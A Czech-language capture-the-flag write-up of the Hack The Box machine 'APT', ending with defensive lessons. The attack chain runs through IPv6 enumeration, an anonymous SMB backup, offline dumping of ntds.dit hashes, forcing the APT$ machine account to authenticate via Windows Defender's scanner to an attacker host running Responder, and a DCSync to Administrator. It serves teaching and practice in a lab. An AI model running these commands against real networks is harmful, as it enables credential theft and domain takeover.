APT
Úvod a kontext
APT je velmi dobrá ukázka toho, jak nebezpečný je únik doménové zálohy. Samotné IPv4 rozhraní skoro nic neprozrazuje, ale přechod na IPv6 otevře kompletní AD infrastrukturu, anonymní SMB share a nakonec i backup.zip s ntds.dit a SYSTEM.
Didakticky je tenhle stroj cenný hlavně tím, že user i root část stojí na práci s tajemstvími, ne na klasickém exploitu. Nejdřív offline vytěžené hashe otevřou účet henry.vinson_adm, pak vynucená autentizace účtu stroje APT$ dovede řetězec až k DCSync.
Počáteční průzkum
Vyhledání otevřených portů (IPv4)
Nejdřív mapuji veřejně dostupné služby přes IPv4.
IP=10.10.10.213;ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
Zároveň je patrné, že server pracuje i s IPv6 adresami.
Enumerace IPv6 a AD služeb
Přes RPC a vlastní skript vytáhnu IPv6 adresu hostu a provedu nový scan.
python3 server-address.py
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
ports=$(nmap -p- -Pn --min-rate=1000 -T4 -6 dead:beef::b885:d62a:d679:573f | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn -6 dead:beef::b885:d62a:d679:573f
53/tcp open domain
88/tcp open kerberos-sec
389/tcp open ldap
445/tcp open microsoft-ds
5985/tcp open http
...
Na IPv6 je vidět kompletní AD infrastruktura.
Získání backup.zip ze SMB share
V anonymním SMB share backup najdu soubor backup.zip.
smbclient -N //dead:beef::b885:d62a:d679:573f/backup
get backup.zip
Heslo k ZIPu získám přes john.
zip2john backup.zip > backup.john
john --wordlist=/usr/share/wordlists/rockyou.txt backup.john
__CENSORED__
7z x backup.zip
Extrakce hashů z AD zálohy
V záloze jsou soubory ntds.dit a SYSTEM, takže jde offline vytáhnout NTLM hashe.
impacket-secretsdump -ntds "Active Directory/ntds.dit" -system registry/SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
Z výpisu identifikuji zajímavé účty (Administrator, henry.vinson, APT$) a pokračuji na henry.vinson.
Přístup k účtu henry.vinson_adm
Zkouším dostupné hashe a přes impacket-reg se dostanu k uloženým údajům aplikace GiganticHostingManagementSystem.
impacket-reg htb.local/henry.vinson@apt.htb.local -hashes :__CENSORED__ query -keyName HKU\\Software\\GiganticHostingManagementSystem
UserName REG_SZ henry.vinson_adm
PassWord REG_SZ __CENSORED__
evil-winrm -i apt.htb.local -u henry.vinson_adm -p __CENSORED__
Získání přístupu
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
cat user.txt
__CENSORED__
Odchyt NTLMv1 hashe účtu stroje APT$
Pro další eskalaci odchytím autentizaci účtu stroje přes SMB (Responder) a vynutím přístup na UNC cestu.
python2 ./Responder/Responder.py -I tun0 --lm
cmd /C C:\Users\"All Users"\Microsoft\"Windows Defender"\platform\4.18.2010.7-0\X86\MpCmdRun.exe -Scan -ScanType 3 -File \\\\10.10.14.7\\hello\\win.exe
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash : __CENSORED__
NTLMv1 challenge/response cracknu a získám použitelný hash účtu APT$.
DCSync a přístup na Administrator
S hashem účtu stroje provedu dump doménových tajemství a vytáhnu NT hash Administrator.
impacket-secretsdump -hashes __CENSORED__:__CENSORED__ 'apt.htb/APT$@apt.htb.local'
Administrator:500:__CENSORED__:__CENSORED__:::
...
evil-winrm -i apt.htb.local -u Administrator -H __CENSORED__
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Rozhodující nebyl úvodní scan po IPv4, ale přechod na IPv6, kde se teprve ukázala plná doménová attack surface.
- User část stojí na tom, že z
backup.zipneuniknou jen data, ale přímo hashe a následně i uložené přihlašovací údajehenry.vinson_adm. - Root je výsledkem práce s účtem stroje
APT$: odchyt NTLMv1, crack a následný DCSync otevřou cestu k hashiAdministrator.
Co si odnést do praxe
- IPv6 v interních prostředích nesmí zůstat mimo inventuru a monitoring. Pokud obrana hlídá jen IPv4, útočník může vidět úplně jiný obraz infrastruktury než administrátor.
- Zálohy typu
backup.zip, exporty registru a souboryntds.ditje nutné chránit jako produkční doménová tajemství. Jakmile uniknou, většina dalších obranných vrstev přestává mít význam. - Účty strojů, NTLMv1 a práva pro DCSync jsou stále kritické prvky AD bezpečnosti. Pokud je lze zneužít nebo cracknout offline, doménový admin je obvykle už jen otázka dalších minut.